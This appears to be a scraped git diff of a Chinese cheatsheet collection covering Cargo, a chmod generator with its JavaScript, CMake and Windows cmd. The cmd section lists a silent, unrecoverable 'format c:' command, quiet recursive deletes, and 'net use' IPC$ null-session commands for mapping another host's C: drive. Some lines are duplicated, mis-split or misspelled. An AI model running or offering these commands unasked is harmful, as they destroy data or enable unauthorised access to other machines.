$ ./target/debug/hello_world
|
||||
Hello, world!
|
||||
```
|
||||
|
||||
也可以直接使用 `cargo run`,它会自行`编译`并`运行`它:
|
||||
|
||||
```bash
|
||||
$ cargo run
|
||||
Running `target/hello_world`
|
||||
Hello, world!
|
||||
```
|
||||
|
||||
### 来源配置
|
||||
|
||||
```toml
|
||||
# `source` 表下,就是存储有关要更换的来源名称
|
||||
[source]
|
||||
|
||||
# 在`source` 表格之下的,可为一定数量的有关来源名称. 示例下面就,定义了一个新源, 叫 `my-awesome-source`,其内容来自本地,`vendor`目录 ,其相对于包含 `.cargo/config` 文件的目录
|
||||
[source.my-awesome-source]
|
||||
directory = "vendor"
|
||||
|
||||
# Git sources 也指定一个 branch/tag/rev
|
||||
git = "https://example.com/path/to/repo"
|
||||
# branch = "master"
|
||||
# tag = "v1.0.1"
|
||||
# rev = "313f44e8"
|
||||
|
||||
# crates.io 默认源 在"crates-io"名称下,且在这里我们使用 `replace-with` 字段指明 默认源更换成"my-awesome-source"源
|
||||
[source.crates-io]
|
||||
replace-with = "my-awesome-source"
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 编译测试
|
||||
|
||||
```bash
|
||||
# 编译输出二进制文件,放入 `target/debug` 目录
|
||||
$ cargo build
|
||||
# 输出二进制文件,放入 `target/release` 目录
|
||||
$ cargo build --release
|
||||
$ cargo run # 编译并运行
|
||||
```
|
||||
|
||||
#### 测试
|
||||
|
||||
```bash
|
||||
$ cargo test # 运行你的所有测试
|
||||
# 指定函数过滤器
|
||||
$ cargo test test_foo # 开头是 test_foo 的函数都会运行,例如(test_foo_bar)
|
||||
# 指定特定模块中的测试函数(通常可以简写 cargo test foo::bar::tests::test_foo)
|
||||
$ cargo test --package rustt --lib -- foo::bar::tests::test_foo --exact --nocapture
|
||||
|
||||
# 指定特定测试的模块(通常可以简写 cargo test foo::bar::tests)
|
||||
$ cargo test --package rustt --lib -- foo::bar::tests --nocapture
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 配置目标
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```toml
|
||||
[package]
|
||||
# ...
|
||||
[lib]
|
||||
# 生成目标与库的名称. 本该默认是包名, 替换所有破折号为 下划线. (Rust `extern crate` 声明会参考该名;因此,该值必须是可用的有效Rust标识符)
|
||||
name = "foo"
|
||||
# 该字段,指向 crate 的入口(位置), 路径相对于 `Cargo.toml`.
|
||||
path = "src/lib.rs"
|
||||
# 一个给目标启用单元测试 的 标志. 会被 `cargo test`使用.
|
||||
test = true
|
||||
# 一个给目标启用文档测试 的 标志. 只与库相关, 不会影响其他部分。会被 `cargo test`使用.
|
||||
doctest = true
|
||||
# 一个给目标启用基准 的 标志. 会被 `cargo bench`使用.
|
||||
bench = true
|
||||
# 一个给目标启用文档 的 标志. 会被 `cargo doc`使用.
|
||||
doc = true
|
||||
# 若该目标为 编译器扩展, 那要把该字段设为 true,以让 Cargo 正确编译和,可用于所有依赖项.
|
||||
plugin = false
|
||||
# 若该目标为 "macros 1.1" 程序宏, 那要把该字段设为 true
|
||||
proc-macro = false
|
||||
# 若设为 false, `cargo test` 会为 rustc 省略 `--test` 标志, 这阻止它生成测试工具 这在二进制存在,构建管理测试运行器本身的情况下,有用.
|
||||
harness = true
|
||||
# 若设置了,那 目标会使用一个与`[package]`配置不同的版本, 也许是,编译一个库 2018年版本或,编译单元测试的2015年版本. 默认情况下所有目标都使用`[package]`中指定的版本进行编译。
|
||||
edition = '2015'
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 项目目录
|
||||
|
||||
```bash
|
||||
.
|
||||
├── Cargo.lock
|
||||
├── Cargo.toml
|
||||
├── benches # 基准目录
|
||||
│ └── large-input.rs
|
||||
├── examples # 示例
|
||||
│ └── simple.rs
|
||||
├── src # 源代码
|
||||
│ ├── bin
|
||||
│ │ └── another_executable.rs
|
||||
│ ├── lib.rs # 默认库
|
||||
│ └── main.rs # 入口文件
|
||||
└── tests # 集成测试
|
||||
└── some-integration-tests.rs
|
||||
```
|
||||
|
||||
### 配置
|
||||
|
||||
```toml
|
||||
# 每个源都有自己的表格,名称即是表名
|
||||
[source.the-source-name]
|
||||
|
||||
# 命令 `the-source-name` 会被 `another-source`取代
|
||||
replace-with = "another-source"
|
||||
|
||||
# 有几种可用的源定义(接下来有所描述)
|
||||
registry = "https://example.com/path/to/index"
|
||||
local-registry = "path/to/registry"
|
||||
directory = "path/to/vendor"
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
更换源的配置通过完成 `.cargo/config`,上面是全套可用字段
|
||||
|
||||
包相关命令
|
||||
---
|
||||
|
||||
### init/new
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
创建一个新的 `cargo` 包
|
||||
|
||||
```bash
|
||||
$ cargo init [options] [path]
|
||||
$ cargo new [options] [path]
|
||||
```
|
||||
|
||||
- `--bin` 创建具有二进制目标 (src/main.rs) 的包(默认行为)
|
||||
- `--lib` 使用库目标 (src/lib.rs) 创建一个包
|
||||
- `--edition edition` 指定要使用的 Rust 版本。默认值为 `2021`。可能的值:2015、2018、2021
|
||||
- `--name name` 设置包名。默认为目录名称
|
||||
- `--vcs vcs` 为给定的版本控制系统(git、hg、pijul 或fossil)初始化一个新的 VCS 存储库,或者根本不初始化任何版本控制(无)
|
||||
- `--registry registry` 限制仅发布到该注册表
|
||||
<!--rehype:className=style-arrow-->
|
||||
|
||||
```bash
|
||||
$ cargo new foo
|
||||
```
|
||||
|
||||
### 安装包
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```bash
|
||||
# 从 crates.io 安装或升级软件包:
|
||||
$ cargo install ripgrep
|
||||
# 在当前目录安装或重新安装包:
|
||||
$ cargo install --path .
|
||||
# 查看已安装包的列表:
|
||||
$ cargo install --list
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
- `--vers version`
|
||||
- `--version version` 指定要安装的版本
|
||||
- `--git url` 用于安装指定 crate 的 Git URL
|
||||
- `--branch branch` 从 git 安装时要使用的分支
|
||||
- `--tag tag` 从 git 安装时使用的标记
|
||||
- `--rev sha` 从 git 安装时使用的特定提交
|
||||
- `--path path` 要安装的本地 crate 的文件系统路径
|
||||
- `--list` 列出所有已安装的软件包及其版本
|
||||
- `-f`, `--force` 强制覆盖现有的 crate 或二进制文件
|
||||
|
||||
### 搜索包
|
||||
|
||||
```bash
|
||||
$ cargo search [options] [query...]
|
||||
```
|
||||
|
||||
- `--limit limit` 限制结果数量(默认值:10,最大值:100)
|
||||
- `--index index` 要使用的注册表索引的 URL
|
||||
- `--registry registry` 要使用的注册表的名称
|
||||
|
||||
```bash
|
||||
$ cargo search serde
|
||||
```
|
||||
|
||||
### 卸载包
|
||||
|
||||
```bash
|
||||
$ cargo uninstall [options] [spec...]
|
||||
```
|
||||
|
||||
- `-p`, `--package spec...` 要卸载的软件包
|
||||
- `--bin name...` 仅卸载二进制名称
|
||||
- `--root dir` 从中卸载软件包的目录
|
||||
|
||||
```bash
|
||||
$ cargo uninstall ripgrep
|
||||
```
|
||||
|
||||
发布命令
|
||||
---
|
||||
|
||||
### 登录
|
||||
|
||||
```bash
|
||||
$ cargo login [options] [token]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
:-|:-
|
||||
:-|:-
|
||||
`--registry` | 要使用的注册表的名称
|
||||
|
||||
---
|
||||
|
||||
:-|:-
|
||||
:-|:-
|
||||
`-v`, `--verbose` | 启用更加详细的输出
|
||||
`-q`, `--quiet` | 不输出Cargo的日志信息
|
||||
`--color when` | 输出内容的颜色 `auto`, `always`, `never`
|
||||
|
||||
### 所有者
|
||||
|
||||
```bash
|
||||
# 列出包的所有者:
|
||||
$ cargo owner --list foo
|
||||
# 邀请所有者加入包:
|
||||
$ cargo owner --add username foo
|
||||
# 从包中删除所有者:
|
||||
$ cargo owner --remove username foo
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
:-|:-
|
||||
:-|:-
|
||||
`--token token` | 身份验证时使用的 API 令牌
|
||||
`--index index` | 要使用的注册表索引的 URL
|
||||
|
||||
### 打包 & 发布公共选项
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
选择包
|
||||
|
||||
- `-p spec...`, `--package spec...` Package 指定包
|
||||
- `--workspace` Package 工作区中的全体成员
|
||||
- `--exclude SPEC...` 排除指定包
|
||||
|
||||
编译选项
|
||||
|
||||
- `--target triple` 为指定架构执行 Package
|
||||
- `--target-dir directory` 用于存放生成的工件以及中间文件的目录
|
||||
|
||||
特性选择
|
||||
|
||||
- `--features features` 传递以空格或者逗号分隔的列表,其中给出要启用的特性
|
||||
- `--all-features` 为给定的包启用全部可用特性
|
||||
- `--no-default-features` 不启用给定包的default特性
|
||||
|
||||
清单选项
|
||||
|
||||
- `--manifest-path path` 用于指定 Cargo.toml 文件的路径
|
||||
- `--frozen`, `--locked` 这两个选项用于保证Cargo.lock文件是最新的
|
||||
- `--offline` 禁止Cargo访问网络
|
||||
|
||||
混杂选项
|
||||
|
||||
- `-j N`, `--jobs N` 要并行运行的作业数量
|
||||
|
||||
### 打包
|
||||
|
||||
将本地包打包为可分发的压缩文件
|
||||
|
||||
```bash
|
||||
$ cargo package [options]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
- `-l`, `--list` 输出包中包含的文件(不实际进行打包)。
|
||||
- `--no-verify` 构建包时不进行校验。
|
||||
- `--no-metadata` 忽略 缺少可读的元信息(如描述信息或采用的授权协议) 时产生的警告。
|
||||
- `--allow-dirty` 允许打包 在版本控制系统中仍有未提交内容 的包。
|
||||
|
||||
### 发布
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```bash
|
||||
$ cargo publish [options]
|
||||
```
|
||||
|
||||
发布选项
|
||||
|
||||
- `--dry-run` 在不上传的情况下执行所有检查
|
||||
- `--token token` 身份验证时使用的 API 令牌
|
||||
- `--no-verify` 不要通过构建内容来验证内容
|
||||
- `--allow-dirty` 允许打包具有未提交的 VCS 更改的工作目录
|
||||
- `--index index` 要使用的注册表索引的 URL
|
||||
- `--registry registry` 要发布到的注册表的名称
|
||||
|
||||
打包选择
|
||||
|
||||
- `-p spec`, `--package spec` 要发布的包
|
||||
|
||||
### yank
|
||||
|
||||
从服务器的索引中删除以前发布的 crate 版本
|
||||
|
||||
```bash
|
||||
$ cargo yank --vers 1.0.7 foo
|
||||
```
|
||||
|
||||
- `--vers version` 要 yank 或 un-yank 的版本
|
||||
- `--undo` 撤消 yank,将版本放回索引中
|
||||
- `--token token` 身份验证时使用的 API 令牌
|
||||
- `--index index` 要使用的注册表索引的 URL
|
||||
- `--registry registry` 要使用的注册表名称
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [The Cargo Book](https://doc.rust-lang.org/stable/cargo/) _(doc.rust-lang.org)_
|
||||
- [Cargo 手册 中文版](https://www.rustwiki.org.cn/zh-CN/cargo/index.html) _(rustwiki.org.cn)_
|
249
docs/chmod.md
249
docs/chmod.md
@ -31,10 +31,21 @@ $ chmod -R 755 my_directory
|
||||
|
||||
### Chmod 生成器
|
||||
|
||||
```html
|
||||
|
||||
```html preview
|
||||
<div>
|
||||
权限:<input type="text" id="num" placeholder="777" maxlength="3" style="padding: 0.3rem 0.3rem;" /> <input type="text" id="let" placeholder="rwxrwxrwx" maxlength="9" style="padding: 0.3rem 0.3rem;" />
|
||||
</div>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
| User | Group | Other
|
||||
:- | :- | :- | :-
|
||||
读 _(Read)_ | <input checked id="1" type="checkbox"></input> | <input checked id="4" type="checkbox"></input> | <input checked id="7" type="checkbox"></input>
|
||||
写 _(Write)_ | <input checked id="2" type="checkbox"></input> | <input checked id="5" type="checkbox"></input> | <input checked id="8" type="checkbox"></input>
|
||||
执行 _(Execute)_ | <input checked id="3" type="checkbox"></input> | <input checked id="6" type="checkbox"></input> | <input checked id="9" type="checkbox"></input>
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
Chmod 生成器允许您以数字和符号的形式快速、直观地生成权限。
|
||||
|
||||
### 通用权限
|
||||
@ -96,7 +107,6 @@ d rwx r-x r-x
|
||||
| `a` | 全部,和 ugo 一样 |
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
|
||||
### 权限
|
||||
|
||||
| 缩写 | 权限 | 值 |
|
||||
@ -127,7 +137,6 @@ Chmod 示例
|
||||
| `-` | 删除 |
|
||||
| `=` | 设置 |
|
||||
|
||||
|
||||
### chmod 600
|
||||
|
||||
```shell
|
||||
@ -263,4 +272,234 @@ $ find /path -type f -exec chmod 644 {} \;
|
||||
另见
|
||||
----
|
||||
|
||||
* [使用 chmod 修改文件权限](https://www.linode.com/docs/guides/modify-file-permissions-with-chmod/) _(linode.com)_
|
||||
* [使用 chmod 修改文件权限](https://www.linode.com/docs/guides/modify-file-permissions-with-chmod/) _(linode.com)_
|
||||
|
||||
<!--rehype:ignore:start-->
|
||||
以下是 Chmod 生成器 JS 代码(代码用于网站请忽略不要删除)
|
||||
---
|
||||
<!--rehype:ignore:end-->
|
||||
|
||||
```html preview
|
||||
<!-- Chmod 生成器 JS 代码 -->
|
||||
<script type="text/javascript">
|
||||
const reg_num = /^[0-7]{3}$/; // 一些正则表达式来检查 num 输入
|
||||
const reg_let = /^([r\-]{1}[w\-]{1}[x\-]{1}){3}$/; // 一些正则表达式来检查文本输入
|
||||
function checkBoxHandle() {
|
||||
change_occured(true, false, false);
|
||||
// get rid of bad input classes
|
||||
document.getElementById('num').classList.remove('bad-input');
|
||||
document.getElementById('let').classList.remove('bad-input');
|
||||
}
|
||||
window.addEventListener("DOMContentLoaded", function () {
|
||||
// loop over all the check boxes
|
||||
for (let i = 1; i < 10; i++) {
|
||||
let checkBox = document.getElementById(`${i}`);
|
||||
checkBox.addEventListener('change', function () {
|
||||
change_occured(true, false, false);
|
||||
|
||||
// get rid of bad input classes
|
||||
document.getElementById('num').classList.remove('bad-input');
|
||||
|
||||
document.getElementById('let').classList.remove('bad-input');
|
||||
});
|
||||
}
|
||||
// the octal input
|
||||
let num_input = document.getElementById('num');
|
||||
let num_fn = function () {
|
||||
// check for bad input
|
||||
if (!reg_num.test(this.value)) {
|
||||
this.classList.add('bad-input');
|
||||
} else {
|
||||
this.classList.remove('bad-input');
|
||||
change_occured(false, true, false);
|
||||
}
|
||||
};
|
||||
num_input.addEventListener('change', num_fn);
|
||||
num_input.addEventListener('keyup', num_fn);
|
||||
// the let input
|
||||
let let_input = document.getElementById('let');
|
||||
let let_fn = function () {
|
||||
// check for bad input
|
||||
if (!reg_let.test(this.value)) {
|
||||
this.classList.add('bad-input');
|
||||
} else {
|
||||
this.classList.remove('bad-input');
|
||||
change_occured(false, false, true);
|
||||
}
|
||||
};
|
||||
let_input.addEventListener('change',let_fn);
|
||||
let_input.addEventListener('keyup',let_fn);
|
||||
});
|
||||
/* SETUP
|
||||
r-4-1 r-4-4 r-4-7
|
||||
w-2-2 w-2-5 w-2-8
|
||||
x-1-3 x-1-6 x-1-9
|
||||
*/
|
||||
// define a function that runs when a change occures
|
||||
function change_occured(caller_was_check, caller_was_num, caller_was_let) {
|
||||
let num1 = 0, num2 = 0, num3 = 0; // these are the three numbers for the octal
|
||||
let perm_string = ''; // holds the permision string ex. rw-x--r--
|
||||
if (caller_was_check) {
|
||||
// loop over all the check boxes and get the permisions
|
||||
for (let i = 1; i < 10; i++) {
|
||||
let checkBox = document.getElementById(`${i}`);
|
||||
if (checkBox.checked) { // if checked
|
||||
let current_perm = check_to_octal_and_text(i);
|
||||
perm_string += `${current_perm.perm_let}`;
|
||||
if (i <= 3) {
|
||||
num1 += current_perm.perm_num;
|
||||
} else if (i <= 6) {
|
||||
num2 += current_perm.perm_num;
|
||||
} else {
|
||||
num3 += current_perm.perm_num;
|
||||
}
|
||||
} else { // if not checked
|
||||
perm_string += '-';
|
||||
}
|
||||
}
|
||||
// set the permision input text
|
||||
document.getElementById('let').value = perm_string;
|
||||
document.getElementById('num').value = `${num1}${num2}${num3}`;
|
||||
} else if (caller_was_num) {
|
||||
// get the individual numbers
|
||||
let num_input_val = document.getElementById('num').value;
|
||||
num1 = num_input_val.substring(0, 1);
|
||||
num2 = num_input_val.substring(1, 2);
|
||||
num3 = num_input_val.substring(2, 3);
|
||||
// set the checkboxes and get the perm string
|
||||
perm_string += octal_to_check_and_txt(num1, 0); //Owner
|
||||
perm_string += octal_to_check_and_txt(num2, 1); //Owner
|
||||
perm_string += octal_to_check_and_txt(num3, 2); //Owner
|
||||
// set the permision input text
|
||||
document.getElementById('let').value = perm_string;
|
||||
} else if (caller_was_let) {
|
||||
// get the text input
|
||||
let perm_text = document.getElementById('let').value;
|
||||
num1 = text_to_check_and_octal(perm_text.substring(0, 3), 0)
|
||||
num2 = text_to_check_and_octal(perm_text.substring(3, 6), 3)
|
||||
num3 = text_to_check_and_octal(perm_text.substring(6, 9), 6)
|
||||
// set the octal value
|
||||
document.getElementById('num').value = `${num1}${num2}${num3}`;
|
||||
}
|
||||
}
|
||||
// define a function to converts the checkbox # to the respective permissions
|
||||
// returns perm_num, perm_let
|
||||
function check_to_octal_and_text(check_num) {
|
||||
let perm_num = 0;
|
||||
let perm_let = '-';
|
||||
switch (check_num) {
|
||||
case 1:
|
||||
case 4:
|
||||
case 7:
|
||||
perm_num = 4;
|
||||
perm_let = 'r';
|
||||
break;
|
||||
case 2:
|
||||
case 5:
|
||||
case 8:
|
||||
perm_num = 2;
|
||||
perm_let = 'w';
|
||||
break;
|
||||
case 3:
|
||||
case 6:
|
||||
case 9:
|
||||
perm_num = 1;
|
||||
perm_let = 'x';
|
||||
break;
|
||||
default:
|
||||
perm_num = 0;
|
||||
perm_let = '-';
|
||||
}
|
||||
// return values
|
||||
return {
|
||||
perm_num,
|
||||
perm_let
|
||||
};
|
||||
}
|
||||
/**
|
||||
Takes a number 1-7 and which class it is in:
|
||||
0 = owner
|
||||
1 = Group
|
||||
2 = Public
|
||||
Returns: perm text (ex. "rwx") and sets the appropriate checkboxes
|
||||
*/
|
||||
function octal_to_check_and_txt(octal_num, class_num) {
|
||||
let perm_text = '';
|
||||
let offset = class_num * 3;
|
||||
switch (octal_num) {
|
||||
case '1':
|
||||
document.getElementById(`${1 + offset}`).checked = false;
|
||||
document.getElementById(`${2 + offset}`).checked = false;
|
||||
document.getElementById(`${3 + offset}`).checked = true;
|
||||
perm_text = '--x';
|
||||
break;
|
||||
case '2':
|
||||
document.getElementById(`${1 + offset}`).checked = false;
|
||||
document.getElementById(`${2 + offset}`).checked = true;
|
||||
document.getElementById(`${3 + offset}`).checked = false;
|
||||
perm_text = '-w-';
|
||||
break;
|
||||
case '3':
|
||||
document.getElementById(`${1 + offset}`).checked = false;
|
||||
document.getElementById(`${2 + offset}`).checked = true;
|
||||
document.getElementById(`${3 + offset}`).checked = true;
|
||||
perm_text = '-wx';
|
||||
break;
|
||||
case '4':
|
||||
document.getElementById(`${1 + offset}`).checked = true;
|
||||
document.getElementById(`${2 + offset}`).checked = false;
|
||||
document.getElementById(`${3 + offset}`).checked = false;
|
||||
perm_text = 'r--';
|
||||
break;
|
||||
case '5':
|
||||
document.getElementById(`${1 + offset}`).checked = true;
|
||||
document.getElementById(`${2 + offset}`).checked = false;
|
||||
document.getElementById(`${3 + offset}`).checked = true;
|
||||
perm_text = 'r-x';
|
||||
break;
|
||||
case '6':
|
||||
document.getElementById(`${1 + offset}`).checked = true;
|
||||
document.getElementById(`${2 + offset}`).checked = true;
|
||||
document.getElementById(`${3 + offset}`).checked = false;
|
||||
perm_text = 'rw-';
|
||||
break;
|
||||
case '7':
|
||||
document.getElementById(`${1 + offset}`).checked = true;
|
||||
document.getElementById(`${2 + offset}`).checked = true;
|
||||
document.getElementById(`${3 + offset}`).checked = true;
|
||||
perm_text = 'rwx';
|
||||
break;
|
||||
default:
|
||||
document.getElementById(`${1 + offset}`).checked = false;
|
||||
document.getElementById(`${2 + offset}`).checked = false;
|
||||
document.getElementById(`${3 + offset}`).checked = false;
|
||||
perm_text = '---';
|
||||
}
|
||||
return perm_text;
|
||||
}
|
||||
/**
|
||||
Takes 3 letters (r, w, x, - ex. 'rw-') and an offset (0,3,6)
|
||||
Returns the octal num and sets the appropriate checkboxes
|
||||
*/
|
||||
function text_to_check_and_octal(letters, offset) {
|
||||
let perm_num = 0; // the octal number to return
|
||||
// add up the oct num and set the check boxes
|
||||
for (let i = 0; i < 3; i++) {
|
||||
current_let = letters.substring(i, i + 1);
|
||||
if (current_let == 'r') {
|
||||
document.getElementById(`${i + 1 + offset}`).checked = true;
|
||||
perm_num += 4;
|
||||
} else if (current_let == 'w') {
|
||||
document.getElementById(`${i + 1 + offset}`).checked = true;
|
||||
perm_num += 2;
|
||||
} else if (current_let == 'x') {
|
||||
document.getElementById(`${i + 1 + offset}`).checked = true;
|
||||
perm_num += 1;
|
||||
} else {
|
||||
document.getElementById(`${i + 1 + offset}`).checked = false;
|
||||
}
|
||||
}
|
||||
return perm_num;
|
||||
}
|
||||
</script>
|
||||
```
|
||||
|
162
docs/cmake.md
Normal file
162
docs/cmake.md
Normal file
@ -0,0 +1,162 @@
|
||||
CMake 备忘清单
|
||||
===
|
||||
|
||||
本清单提供了对 CMake 的入门简要概述,以及 CMake 常用示例
|
||||
|
||||
入门
|
||||
---
|
||||
|
||||
### Hello CMake
|
||||
|
||||
CMake 是一个用于配置跨平台源代码项目应该如何配置的工具建立在给定的平台上。
|
||||
|
||||
```bash
|
||||
├── CMakeLists.txt # 希望运行的 CMake命令
|
||||
├── main.cpp # 带有main 的源文件
|
||||
├── include # 头文件目录
|
||||
│ └── header.h
|
||||
└── src # 源代码目录
|
||||
├── a.c
|
||||
└── b.c
|
||||
```
|
||||
|
||||
在此项目上运行 `CMake` 时,系统会要求您提供二进制目录,运行 `CMake` 不会创建最终的可执行文件,而是会为 `Visual Studio`、`XCode` 或 `makefile` 生成项目文件。 使用这些工具构建该项目
|
||||
|
||||
#### CMakeLists.txt
|
||||
|
||||
```cmake
|
||||
# 设置可以使用的最低 CMake 版本
|
||||
cmake_minimum_required(VERSION 3.5)
|
||||
# 设置项目名称
|
||||
project (hello_cmake)
|
||||
# 添加可执行文件
|
||||
add_executable(hello_cmake main.cpp)
|
||||
# 添加头文件目录
|
||||
target_include_directories(hello_cmake PRIVATE ./include)
|
||||
# 批量添加源文件
|
||||
file(GLOB SRCS CONFIGURE_DEPENDS ./src/*.cpp)
|
||||
target_sources(hello_cmake PUBLIC ${SRCS})
|
||||
# 添加第三方库
|
||||
find_package(OpenGL CONFIG REQUIRED)
|
||||
# 链接第三方库
|
||||
target_link_libraries(hello_cmake PRIVATE OpenGL)
|
||||
# 指定输出路径
|
||||
set_property(TARGET hello_cmake ${CMAKE_SOURCE_DIR}/bin)
|
||||
|
||||
```
|
||||
|
||||
#### main.cpp
|
||||
|
||||
```c
|
||||
#include <iostream>
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
std::cout << "Hello CMake!" << std::endl;
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
#### 编译示例
|
||||
|
||||
```bash
|
||||
$ mkdir build # 创建 build 目录
|
||||
$ cd build # 进入目录
|
||||
$ cmake .. # 目录的上一级目录运行命令
|
||||
$ make # 使用对应的编译工具
|
||||
$ ./hello_cmake # 运行生成的 hello_cmake
|
||||
Hello CMake!
|
||||
```
|
||||
|
||||
### cmake
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
生成项目构建系统
|
||||
|
||||
```bash
|
||||
$ cmake [<options>] <path-to-source | path-to-existing-build>bash
|
||||
$ cmake [<options>] -S <path-to-source> -B <path-to-build>
|
||||
```
|
||||
|
||||
建立一个项目
|
||||
|
||||
```bash
|
||||
$ cmake --build <dir> [<options>] [-- <build-tool-options>]
|
||||
```
|
||||
|
||||
安装项目
|
||||
|
||||
```bash
|
||||
$ cmake --install <dir> [<options>]
|
||||
```
|
||||
|
||||
运行指定项目
|
||||
|
||||
```bash
|
||||
cmake --build <dir> --target <project>
|
||||
```
|
||||
|
||||
打开一个项目
|
||||
|
||||
```bash
|
||||
$ cmake --open <dir>
|
||||
```
|
||||
|
||||
运行脚本
|
||||
|
||||
```bash
|
||||
$ cmake [-D <var>=<value>]... -P <cmake-script-file>
|
||||
```
|
||||
|
||||
运行命令行工具
|
||||
|
||||
```bash
|
||||
$ cmake -E <command> [<options>]
|
||||
```
|
||||
|
||||
运行查找包工具
|
||||
|
||||
```bash
|
||||
$ cmake --find-package [<options>]
|
||||
```
|
||||
|
||||
运行工作流预设
|
||||
|
||||
```bash
|
||||
$ cmake --workflow [<options>]
|
||||
```
|
||||
|
||||
查看帮助
|
||||
|
||||
```bash
|
||||
$ cmake --help[-<topic>]
|
||||
```
|
||||
|
||||
#### 常用参数
|
||||
|
||||
- 方式一: 在`CMakeLists.txt`中使用`set(KEY VAL)`函数
|
||||
- 方式二: 在执行`cmake ...` -D<arg> 指定(只需一次,推荐)
|
||||
|
||||
```cmake
|
||||
# 指定编译参数(Debug/Release/MinSizeRel/RelWithDebInfo)
|
||||
$ cmake ... -D CMAKE_BUILD_TYPE=DEBUG
|
||||
# 指定编译链工具(windows下vcpkg需要)
|
||||
$ cmake ... -D CMAKE_TOOLCHAIN_FILE=<vcpkg_path>/scripts/buildsystems/vcpkg.cmake
|
||||
# 指定编译器
|
||||
$ cmake ... -D CAMKE_C_COMPILER=...
|
||||
$ cmake ... -D CAMKE_CXX_COMPILER=...
|
||||
# 指定生成器
|
||||
$ cmake .. -G "Unix Makefile"
|
||||
$ cmake .. -G "Ninja"
|
||||
$ cmake .. -G "Visual Studio 17 2022"
|
||||
|
||||
# 设置Cpp标准
|
||||
set(CMAKE_CXX_STANDARD 17)
|
||||
set(CMAKE_CXX_STANDARD_REQUIRED ON) # 在检测到不支持时出错
|
||||
set(CMAKE_CXX_EXTENSIONS ON) #一般设为off,否则在msvc上没有特性会出错
|
||||
```
|
||||
|
||||
另见
|
||||
----
|
||||
|
||||
- [CMake Examples](http://ttroy50.github.io/cmake-examples/) _(ttroy50.github.io)_
|
286
docs/cmd.md
Normal file
286
docs/cmd.md
Normal file
@ -0,0 +1,286 @@
|
||||
Cmd 备忘清单
|
||||
===
|
||||
|
||||
cmd 快速参考备忘单含括了常用的 cmd 命令
|
||||
|
||||
常用操作
|
||||
--------
|
||||
|
||||
### 磁盘操作
|
||||
|
||||
#### format 参数
|
||||
|
||||
参数 | action
|
||||
:-- | :--
|
||||
`/q` | 快速格式化
|
||||
`/u` | 不可恢复
|
||||
`/autotest` | 不提示
|
||||
`/s` | 创建 MS-DOS 引导盘
|
||||
|
||||
#### format 示例
|
||||
|
||||
```shell
|
||||
format c: /q /u /autotest
|
||||
```
|
||||
|
||||
### 目录操作(一)
|
||||
|
||||
#### dir 参数
|
||||
|
||||
参数 | action
|
||||
:--- | :---
|
||||
`/s` | 查找子目录
|
||||
`/w` | 只显示文件名
|
||||
`/p` | 分页
|
||||
`/a` | 显示隐藏文件
|
||||
|
||||
#### dir 示例
|
||||
|
||||
```shell
|
||||
dir format.exe /s
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
查找该盘的 `format.exe` 文件并报告位置
|
||||
|
||||
### 目录操作(二)
|
||||
|
||||
#### cd 参数
|
||||
|
||||
可以使用相对目录或绝对目录
|
||||
|
||||
参数 | action
|
||||
:--- | :--
|
||||
`cd …` | 进入上一个文件夹
|
||||
`cd \` | 返回根目录
|
||||
`cd c:\windows` | 进入 `c:\windows` 文件夹
|
||||
|
||||
#### md(MKDIR) 参数
|
||||
|
||||
参数 | action
|
||||
:--- | :--
|
||||
`md HELLOWORLD` | 创建 `HELLOWORLD` 目录
|
||||
|
||||
#### rd (RMDIR) 参数
|
||||
|
||||
参数 | action
|
||||
:--- | :--
|
||||
`rd HELLOWORLD` | 删除 `HELLOWORLD` 目录
|
||||
|
||||
### 文件操作
|
||||
|
||||
#### rmdir 参数
|
||||
|
||||
参数 | action
|
||||
:--- | :--
|
||||
`rmdir c:\qqdownload/s` | 删除 `C` 盘的 `qqdownload` 目录
|
||||
|
||||
#### del 参数
|
||||
|
||||
参数 | action
|
||||
:--- | :--
|
||||
`/f` | 删除只读文件
|
||||
`/s` | 删除该目录及其下的所有内容
|
||||
`/q` | 删除前不确认
|
||||
|
||||
#### del 示例
|
||||
|
||||
参数 | action
|
||||
:--- | :--
|
||||
`del c:\del /s /q` | 自动删除 c 盘的 del 目录
|
||||
<!--rehype:className=style-list-->
|
||||
|
||||
#### copy 参数
|
||||
|
||||
参数 | action
|
||||
:--- | :--
|
||||
`copy d:\pwin98*.* c:\presetup` | 将d盘的pwin98的所有文件复制到 c 盘的 presetup 下
|
||||
<!--rehype:className=style-list-->
|
||||
|
||||
#### attrib 参数
|
||||
|
||||
attrib命令可以列出或修改磁盘上文件的属性,
|
||||
文件属性包括文档(A)、只读、隐藏(H)、系统(S)
|
||||
|
||||
#### attrib 示例
|
||||
|
||||
参数 | action
|
||||
:--- | :--
|
||||
`attrib -h -r -s io.sys` | io.sys文件的只读、隐藏、系统属性去掉
|
||||
`attrib +h +r +s autoexec.bat` | 为自动批处理文件增加以上属性
|
||||
<!--rehype:className=style-list-->
|
||||
|
||||
### net 命令(一)
|
||||
|
||||
参数 | action
|
||||
:--- | :--
|
||||
`net use ipipc$ " " /user:" "` | 建立IPC空链接
|
||||
`net use ipipc$ " " /user:" "` | 建立IPC空链接
|
||||
`net use ipipc$ “密码” /user:"` | 用户名" 建立IPC非空链接
|
||||
`net use h: ipc$ “密码” /user:“用户名”` | 直接登陆后映射对方C:到本地为H:
|
||||
